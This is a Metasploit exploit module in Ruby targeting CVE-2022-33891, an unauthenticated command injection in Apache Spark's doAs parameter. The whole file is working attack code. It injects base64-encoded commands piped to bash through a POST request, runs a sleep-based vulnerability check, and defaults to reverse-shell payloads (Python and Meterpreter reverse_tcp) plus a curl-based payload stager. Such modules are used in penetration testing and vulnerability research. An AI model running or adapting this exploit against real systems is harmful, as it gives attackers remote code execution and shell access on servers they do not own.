##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Spark Unauthenticated Command Injection RCE',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability in Apache Spark.
          Successful exploitation results in remote code execution under the context of the Spark application user.

          The command injection occurs because Spark checks the group membership of the user passed
          in the ?doAs parameter by using a raw Linux command.

          It is triggered by a non-default setting called spark.acls.enable.
          This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack.

          Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Kostya Kortchinsky', # Security researcher and discovery of the vulnerability
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author & Metasploit module
        ],
        'References' => [
          ['URL', 'https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc'], # Disclosure
          ['URL', 'https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891'], # Analysis
          ['CVE', '2022-33891']
        ],
        'DefaultOptions' => {
          'SSL' => false,
          'WfsDelay' => 5
        },
        'Platform' => %w[unix linux],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :in_memory,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'CmdStagerFlavor' => ['printf', 'curl'],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2022-07-18',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
      ]
    )
  end

  def execute_command(cmd, _opts = {})
    b64 = Rex::Text.encode_base64(cmd)
    post_data = "doAs=\`echo #{b64} | base64 -d | bash\`"

    return send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/'),
      'data' => post_data
    })
  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT => e
    elog("A communication error occurred: #{e.message}", error: e)
  end

  def check
    print_status("Checking if #{peer} can be exploited!")

    res = execute_command("echo #{Rex::Text.rand_text_alpha_lower(8..12)}")

    return CheckCode::Unknown('Did not receive a response from target.') unless res

    if res.code != 403
      return CheckCode::Safe('Target did not respond with a 403 response.')
    end

    sleep_time = rand(5..10)
    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")

    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}")
    end

    print_status("Elapsed time: #{elapsed_time} seconds.")

    unless res && elapsed_time >= sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    CheckCode::Vulnerable('Successfully tested command injection.')
  end

  def exploit
    print_status('Exploiting...')
    case target['Type']
    when :in_memory
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager(linemax: 1024) # set an appropriate :linemax dependent upon available space
    end
  end
end